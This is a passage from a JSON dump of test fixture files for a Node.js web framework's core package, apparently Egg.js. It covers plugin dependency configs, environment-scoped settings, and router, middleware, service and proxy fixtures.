    "content": "{\n  \"name\": \"plugin-dep-missing\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-dep-recursive/config/plugin.js",
    "content": "const path = require('path');\n\nmodule.exports = {\n  a: {\n    enable: true,\n    dep: ['b'],\n    path: path.join(__dirname, '../plugins/a'),\n  },\n\n  b: {\n    enable: true,\n    dep: ['c'],\n    path: path.join(__dirname, '../plugins/b'),\n  },\n\n  c: {\n    enable: true,\n    dep: ['a'],\n    path: path.join(__dirname, '../plugins/c'),\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-dep-recursive/package.json",
    "content": "{\n  \"name\": \"plugin-dep-recursive\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-duplicate/node_modules/@scope/a/config/config.default.js",
    "content": "exports.pluginA = 1;\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-duplicate/node_modules/@scope/a/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"a-duplicate\",\n    \"optionalDependencies\": [\n      \"a\"\n    ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-duplicate/node_modules/@scope/b/config/config.default.js",
    "content": "exports.pluginB = 2;\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-duplicate/node_modules/@scope/b/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"b\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-duplicate/node_modules/a/config/config.default.js",
    "content": "exports.pluginA = 1;\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-duplicate/node_modules/a/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"a\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-duplicate/release/config/plugin.js",
    "content": "'use strict';\n\nmodule.exports = {\n  b: {\n    enable: true,\n    package: '@scope/b',\n  },\n  'a-duplicate': {\n    enable: true,\n    package: '@scope/a',\n  },\n  a: {\n    enable: true,\n    package: 'a',\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-duplicate/release/package.json",
    "content": "{\n  \"name\": \"plugin-duplicate\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-egg-plugin/config/plugin.js",
    "content": "module.exports = {\n  a: {\n    enable: true,\n  },\n  b: {\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-egg-plugin/package.json",
    "content": "{\n  \"name\": \"egg-plugin-compatable\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-framework/config/plugin.js",
    "content": "'use strict';\n\nexports.hsfclient = true;\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-framework/package.json",
    "content": "{\n  \"name\": \"plugin-framework\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-from/a/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"a\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-from/b/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"b\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-from/config/plugin.js",
    "content": "'use strict';\n\nexports.a = true;\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-from/framework/config/plugin.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = {\n  a: {\n    enable: false,\n    path: path.join(__dirname, '../../a'),\n  },\n  b: {\n    enable: true,\n    path: path.join(__dirname, '../../b'),\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-from/framework/package.json",
    "content": "{\n  \"name\": \"plugin-from-framework\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-from/package.json",
    "content": "{\n  \"name\": \"plugin-from\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-implicit-enable-dependencies/config/plugin.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nexports.tracelog = {\n  enable: true,\n  path: path.join(__dirname, '../plugin/tracelog'),\n};\n\nexports.gateway = {\n  enable: true,\n  path: path.join(__dirname, '../plugin/gateway'),\n};\n\nexports.rpcServer = {\n  enable: false,\n  path: path.join(__dirname, '../plugin/rpc_server'),\n};\n\nexports.ldc = {\n  enable: true,\n  path: path.join(__dirname, '../plugin/ldc'),\n};\n\nexports.zoneclient = {\n  enable: false,\n  path: path.join(__dirname, '../plugin/zoneclient'),\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-implicit-enable-dependencies/package.json",
    "content": "{\n  \"name\": \"demo\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-implicit-enable-dependencies/plugin/gateway/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"gateway\",\n    \"dependencies\": [\n      \"rpcServer\"\n    ],\n    \"optionalDependencies\": [\n      \"tracelog\"\n    ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-implicit-enable-dependencies/plugin/ldc/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"ldc\",\n    \"dependencies\": [\n      \"zoneclient\"\n    ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-implicit-enable-dependencies/plugin/rpc_server/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"rpcServer\",\n    \"optionalDependencies\": [\n      \"ldc\",\n      \"zoneclient\"\n    ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-implicit-enable-dependencies/plugin/tracelog/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"tracelog\",\n    \"optionalDependencies\": [\n      \"rpcServer\"\n    ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-implicit-enable-dependencies/plugin/zoneclient/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"zoneclient\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-noexist/config/plugin.js",
    "content": "'use strict';\n\nmodule.exports = {\n  // plugin 不存在报错\n  noexist: true,\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-noexist/package.json",
    "content": "{\n  \"name\": \"plugin-noexist\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-optional-dependencies/config/plugin.js",
    "content": "'use strict';\n\n// d(opt) <-- a --> b -> c(opt)\n//          /      /\n// e(opt) <-   <--\nmodule.exports = {\n  a: {\n    enable: true,\n    package: 'a',\n  },\n  b: {\n    enable: true,\n    package: 'b',\n  },\n  c: {\n    enable: false,\n    package: 'c',\n  },\n  d: {\n    enable: false,\n    package: 'd',\n  },\n  e: {\n    enable: true,\n    package: 'e',\n  },\n  f: {\n    enable: true,\n    package: 'f',\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-optional-dependencies/node_modules/a/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"a\",\n    \"dependencies\": [ \"b\" ],\n    \"optionalDependencies\": [ \"d\", \"e\" ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-optional-dependencies/node_modules/b/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"b\",\n    \"dependencies\": [ \"e\" ],\n    \"optionalDependencies\": [ \"c\" ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-optional-dependencies/node_modules/c/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"c\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-optional-dependencies/node_modules/d/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"d\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-optional-dependencies/node_modules/e/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"e\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-optional-dependencies/node_modules/f/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"f\",\n    \"optionalDependencies\": [ \"opt\" ]\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-optional-dependencies/package.json",
    "content": "{\n  \"name\": \"plugin-optional-dependencies\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-path-package/config/plugin.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = {\n  session: {\n    path: path.join(__dirname, '../session'),\n  },\n  hsfclient: {\n    package: 'hsfclient',\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-path-package/node_modules/hsfclient/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"hsfclient\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-path-package/package.json",
    "content": "{\n  \"name\": \"plugin-path-package\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-path-package/session/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"session\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-pkg-exports/config/plugin.js",
    "content": "module.exports = {\n  a: {\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-pkg-exports/node_modules/a/foo_dist/commonjs/config/config.default.js",
    "content": "module.exports = {\n  a: {\n    enable: true,\n  },\n  b: {\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-pkg-exports/node_modules/a/foo_dist/esm/config/config.default.js",
    "content": "export default {\n  a: {\n    enable: true,\n  },\n  b: {\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-pkg-exports/node_modules/a/package.json",
    "content": "{\n  \"name\": \"a\",\n  \"eggPlugin\": {\n    \"exports\": {\n      \"require\": \"./foo_dist/commonjs\",\n      \"import\": \"./foo_dist/esm\"\n    }\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-pkg-exports/package.json",
    "content": "{\n  \"name\": \"plugin-pkg-exports\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-pnpm/config/plugin.js",
    "content": "'use strict';\n\nmodule.exports = {\n  a: {\n    enable: true,\n  },\n  b: {\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-pnpm/node_modules/b/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = {\n  b: 'b',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-pnpm/node_modules/b/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"b\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-pnpm/package.json",
    "content": "{\n  \"name\": \"egg-plugin-pnpm\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-pnpm-scope/config/plugin.js",
    "content": "'use strict';\n\nmodule.exports = {\n  a: {\n    enable: true,\n  },\n  b: {\n    enable: true,\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-pnpm-scope/node_modules/b/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = {\n  b: 'b',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-pnpm-scope/node_modules/b/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"b\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-pnpm-scope/package.json",
    "content": "{\n  \"name\": \"egg-plugin-pnpm-scope\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-strict/config/config.js",
    "content": "exports.plugin = 'override plugin';\n\nexports.middleware = [];\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-strict/config/plugin.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = {\n  agg: {\n    path: path.join(__dirname, '../plugins/g'),\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-strict/package.json",
    "content": "{\n  \"name\": \"plugin\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-strict/plugins/g/package.json",
    "content": "{\n  \"version\": \"1.0.0\",\n  \"eggPlugin\": {\n    \"name\": \"g\",\n    \"strict\": false\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-ts-src/config/config.js",
    "content": "exports.plugin = 'override plugin';\n\nexports.middleware = [];\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-ts-src/config/plugin.js",
    "content": "const path = require('path');\n\nmodule.exports = {\n  agg: {\n    path: path.join(__dirname, '../plugins/g'),\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-ts-src/package.json",
    "content": "{\n  \"name\": \"plugin-ts-src\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-ts-src/plugins/g/package.json",
    "content": "{\n  \"version\": \"1.0.0\",\n  \"eggPlugin\": {\n    \"name\": \"g\",\n    \"exports\": {\n      \"require\": \"./dist/commonjs\",\n      \"import\": \"./dist/esm\",\n      \"typescript\": \"./src\"\n    }\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/plugin-ts-src/plugins/g/src/index.ts",
    "content": "export const foo = 'bar';\n"
  },
  {
    "path": "packages/core/test/fixtures/preload-app-config/a/config/config.js",
    "content": "'use strict';\n\nmodule.exports = function (antx, appConfig) {\n  appConfig.app.sub.val = 2;\n  return {\n    plugin: {\n      sub: appConfig.app.sub,\n      val: appConfig.app.val,\n    },\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/preload-app-config/a/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"a\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/preload-app-config/config/config.js",
    "content": "'use strict';\n\nmodule.exports = function (antx, appConfig) {\n  return {\n    app: {\n      sub: {\n        val: 1,\n      },\n      val: 2,\n    },\n    appInApp: appConfig != null,\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/preload-app-config/config/plugin.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = {\n  a: {\n    enable: true,\n    path: path.join(__dirname, '../a'),\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/preload-app-config/package.json",
    "content": "{\n  \"name\": \"preloadAppConfig\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/proxy-override/app/proxy/queryProxy.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class QueryProxy extends app.Proxy {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    *query() {\n      return {\n        foo: 'bar',\n      };\n    }\n  }\n\n  return QueryProxy;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/proxy-override/config/plugin.js",
    "content": "'use strict';\n\nmodule.exports = {\n  a: true,\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/proxy-override/package.json",
    "content": "{\n  \"name\": \"proxy-override\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/ready/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  setTimeout(app.readyCallback('a'), 100);\n  setTimeout(app.readyCallback('b'), 500);\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/ready/package.json",
    "content": "{\n  \"name\": \"ready\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/realpath/a/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"a\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/realpath/config/plugin.js",
    "content": "'use strict';\n\nexports.a = {\n  enable: true,\n  pacakge: 'b',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/realpath/package.json",
    "content": "{\n  \"name\": \"realpath\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/redefine-plugin/config/plugin.js",
    "content": "'use strict';\n\nmodule.exports = {\n  package: {\n    enable: true,\n    package: 'package',\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/redefine-plugin/package.json",
    "content": "{\n  \"name\": \"redefin-plugin\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/router-app/app/controller/async.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  return class AsyncController extends app.Controller {\n    async index() {\n      this.ctx.body.push('async');\n    }\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/router-app/app/controller/comments.js",
    "content": "'use strict';\n\n// 测试 app.resources 遇到 controller 没有足够的 action 的场景\n\nexports.index = async function () {\n  this.body = 'index';\n};\n\nexports.new = async function () {\n  this.body = 'new';\n};\n\nexports.show = async function () {\n  this.body = 'show - ' + this.params.id;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/router-app/app/controller/locals.js",
    "content": "'use strict';\n\nexports.router = async function () {\n  await this.render('locals/router.html');\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/router-app/app/controller/members.js",
    "content": "'use strict';\n\n// 测试 app.resources 遇到 controller 没有足够的 action 的场景\n\nexports.index = async function () {\n  this.body = 'index';\n};\n\nexports.new = async function () {\n  this.body = 'new';\n};\n\nexports.show = async function () {\n  this.body = 'show - ' + this.params.id;\n};\n\nexports.delete = async function () {\n  this.body = `delete - ${this.params.id}`;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/router-app/app/controller/middleware.js",
    "content": "'use strict';\n\nmodule.exports = async function () {\n  this.body = [];\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/router-app/app/controller/package.js",
    "content": "'use strict';\n\nexports.get = async function () {\n  this.body = this.params[0];\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/router-app/app/controller/posts.js",
    "content": "'use strict';\n\nexports.index = async function () {\n  this.body = 'index';\n};\n\nexports.new = async function () {\n  this.body = 'new';\n};\n\nexports.create = async function () {\n  this.body = 'create';\n};\n\nexports.show = async function () {\n  this.body = 'show - ' + this.params.id;\n};\n\nexports.edit = async function () {\n  this.body = 'edit - ' + this.params.id;\n};\n\nexports.update = async function () {\n  this.body = 'update - ' + this.params.id;\n};\n\nexports.destroy = async function () {\n  this.body = 'destroy - ' + this.params.id;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/router-app/app/middleware/async.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return async (ctx, next) => {\n    await next();\n    ctx.body.push('async');\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/router-app/app/middleware/common.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return function (ctx, next) {\n    return next().then(() => {\n      ctx.body.push('common');\n    });\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/router-app/app/middleware/generator.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return async function (ctx, next) {\n    await next();\n    ctx.body.push('generator');\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/router-app/app/middleware/generator_both.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return async function (ctx, next) {\n    ctx.body = [];\n    ctx.body.push('generator before');\n    await next();\n    ctx.body.push('generator after');\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/router-app/app/router.js",
    "content": "module.exports = function (app) {\n  const common = app.middlewares.common();\n  const asyncMw = app.middlewares.async();\n  const generator = app.middlewares.generator();\n  const generatorBoth = app.middlewares.generatorBoth();\n\n  app\n    .get('/locals/router', app.controller.locals.router)\n    .get('/members/index', 'members.index')\n    .delete('/members/delete/:id', 'members.delete')\n    .del('/members/del/:id', 'members.delete')\n    .resources('posts', '/posts', 'posts')\n    .resources('members', '/members', app.controller.members)\n    .resources('/comments', app.controller.comments)\n    .get('comment_index', '/comments/:id?filter=', app.controller.comments.index)\n    .get('params', '/params/:a/:b', app.controller.locals.router)\n    .get('/middleware', common, asyncMw, generator, 'middleware')\n    .get('middleware', '/named_middleware', common, asyncMw, generator, 'middleware')\n    .get('/mix', generatorBoth, 'async.index')\n    .register('/comments', ['post'], app.controller.comments.new)\n    .register('/register_middleware', ['get'], [common, asyncMw, generator, 'middleware'])\n    .redirect('/redirect', '/middleware', 302);\n\n  app.router\n    .get('/router_middleware', common, asyncMw, generator, 'middleware')\n    .redirect('/router_redirect', '/middleware');\n\n  app.get('packages', /^\\/packages\\/(.*)/, 'package.get');\n\n  app.get(['/url1', '/url2'], 'members.index');\n  app.get(['/urlm1', '/urlm2'], common, asyncMw, generator, 'middleware');\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/router-app/app/views/locals/router.html",
    "content": "posts: /posts\n"
  },
  {
    "path": "packages/core/test/fixtures/router-app/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'my';\n\nexports.security = {\n  csrf: {\n    enable: false,\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/router-app/package.json",
    "content": "{\n  \"name\": \"router-app\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/router-in-app/app/middleware/foo.js",
    "content": "'use strict';\n\nmodule.exports = () => {\n  return (ctx, next) => {\n    ctx.foo = 'foo';\n    return next();\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/router-in-app/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/', (ctx) => {\n    ctx.body = ctx.foo;\n  });\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/router-in-app/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.router;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/router-in-app/config/config.default.js",
    "content": "'use strict';\n\nexports.middleware = ['foo'];\n"
  },
  {
    "path": "packages/core/test/fixtures/router-in-app/package.json",
    "content": "{\n  \"name\": \"router-in-app\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/run-with-debug/index.js",
    "content": "const EggApplication = require('../egg').Application;\nconst utils = require('../../utils');\n\nclass Application extends EggApplication {\n  get [Symbol.for('egg#eggPath')]() {\n    return __dirname;\n  }\n  toJSON() {\n    return {\n      name: this.name,\n      plugins: this.plugins,\n      config: this.config,\n    };\n  }\n}\n\nconst app = utils.createApp('application', { Application });\napp.loader.loadAll();\napp.ready((err) => {\n  process.exit(err ? 1 : 0);\n});\n"
  },
  {
    "path": "packages/core/test/fixtures/run-with-debug/package.json",
    "content": "{\n  \"name\": \"demo\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/scope/config/plugin.en.js",
    "content": "'use strict';\n\nmodule.exports = {\n  a: false,\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/scope/config/plugin.js",
    "content": "'use strict';\n\nmodule.exports = {\n  a: {\n    enable: true,\n    package: 'a',\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/scope/node_modules/a/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"a\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/scope/package.json",
    "content": "{\n  \"name\": \"scope\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/scope-env/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = {\n  from: 'default',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/scope-env/config/config.en.js",
    "content": "'use strict';\n\nmodule.exports = {\n  from: 'en',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/scope-env/config/config.en_prod.js",
    "content": "'use strict';\n\nmodule.exports = {\n  from: 'en_prod',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/scope-env/config/config.prod.js",
    "content": "'use strict';\n\nmodule.exports = {\n  from: 'prod',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/scope-env/config/plugin.en.js",
    "content": "'use strict';\n\nmodule.exports = {\n  a: {\n    enable: false,\n    package: 'a',\n  },\n  b: {\n    enable: true,\n    package: 'b',\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/scope-env/config/plugin.en_prod.js",
    "content": "'use strict';\n\nmodule.exports = {\n  c: false,\n  d: {\n    enable: true,\n    package: 'd',\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/scope-env/config/plugin.js",
    "content": "'use strict';\n\nmodule.exports = {\n  a: {\n    enable: true,\n    package: 'a',\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/scope-env/config/plugin.prod.js",
    "content": "'use strict';\n\nmodule.exports = {\n  b: false,\n  c: {\n    enable: true,\n    package: 'c',\n  },\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/scope-env/node_modules/a/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"a\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/scope-env/node_modules/b/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"c\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/scope-env/node_modules/c/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"a\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/scope-env/node_modules/d/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"d\"\n  }\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/scope-env/package.json",
    "content": "{\n  \"name\": \"scope\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/serverenv/package.json",
    "content": "{\n  \"name\": \"foobar\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/serverenv-file/config/env",
    "content": "prod\n"
  },
  {
    "path": "packages/core/test/fixtures/serverenv-file/package.json",
    "content": "{\n  \"name\": \"foobar\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/service-override/app/service/foo.js",
    "content": ""
  },
  {
    "path": "packages/core/test/fixtures/service-override/config/plugin.js",
    "content": "'use strict';\n\nmodule.exports = {\n  a: true,\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/service-override/node_modules/a/app/service/foo.js",
    "content": ""
  },
  {
    "path": "packages/core/test/fixtures/service-override/node_modules/a/package.json",
    "content": "{\n  \"name\": \"a\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/service-override/package.json",
    "content": "{\n  \"name\": \"service-override\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/service-unique/app/controller/same.js",
    "content": "module.exports = async function () {\n  const ctx = this.service.ctx.get();\n  this.body = String(ctx === this);\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/service-unique/app/router.js",
    "content": "module.exports = function (app) {\n  app.get('/same', 'same');\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/service-unique/app/service/ctx.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class CtxService extends app.Service {\n    get() {\n      return this.ctx;\n    }\n  }\n\n  return CtxService;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/service-unique/package.json",
    "content": "{\n  \"name\": \"service-unique\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/services_loader_verify/app/service/foo.js",
    "content": "'use strict';\n\nmodule.exports = function () {\n  return {\n    *bar(ctx) {\n      console.log(ctx);\n    },\n\n    *bar1(ctx) {\n      console.log(ctx);\n    },\n\n    aa: function* (ctx) {\n      console.log(ctx);\n    },\n  };\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/services_loader_verify/package.json",
    "content": "{\n  \"name\": \"services_loader_verify\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/session-cache-app/app/controller/home.js",
    "content": "module.exports = async (ctx) => {\n  ctx.body = await ctx.app.sessionCache.getSessionById('mock-session-id-123');\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/session-cache-app/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', 'home');\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/session-cache-app/config/config.default.ts",
    "content": "export default {\n  foo: 'bar',\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/session-cache-app/package.json",
    "content": "{\n  \"name\": \"session-cache-app\"\n}\n"
  },
  {
    "path": "packages/core/test/fixtures/subdir-proxy/app/proxy/certify-personal/mobile-hi/do_certify.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class Certify extends app.Service {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    *exec(cmd) {\n      return {\n        cmd: cmd,\n        method: this.ctx.method,\n        url: this.ctx.url,\n      };\n    }\n  }\n\n  return Certify;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/subdir-proxy/app/proxy/cif/user.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class UserCif extends app.Service {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    *get(uid) {\n      return {\n        uid: uid,\n        cif: true,\n      };\n    }\n  }\n\n  return UserCif;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/subdir-proxy/app/proxy/foo/bar.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class Bar extends app.Service {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    *get(name) {\n      return {\n        name: name,\n        bar: 'bar1',\n      };\n    }\n  }\n\n  return Bar;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/subdir-proxy/app/proxy/foo/subdir/bar.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class Bar2 extends app.Service {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    *get(name) {\n      return {\n        name: name,\n        bar: 'bar2',\n      };\n    }\n  }\n\n  return Bar2;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/subdir-proxy/app/proxy/foo/subdir1/subdir11/bar.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  class Bar111 extends app.Service {\n    constructor(ctx) {\n      super(ctx);\n    }\n\n    *get(name) {\n      return {\n        name: name,\n        bar: 'bar111',\n      };\n    }\n  }\n\n  return Bar111;\n};\n"
  },
  {
    "path": "packages/core/test/fixtures/subdir-proxy/app/proxy/foo/subdir2/sub2.js",
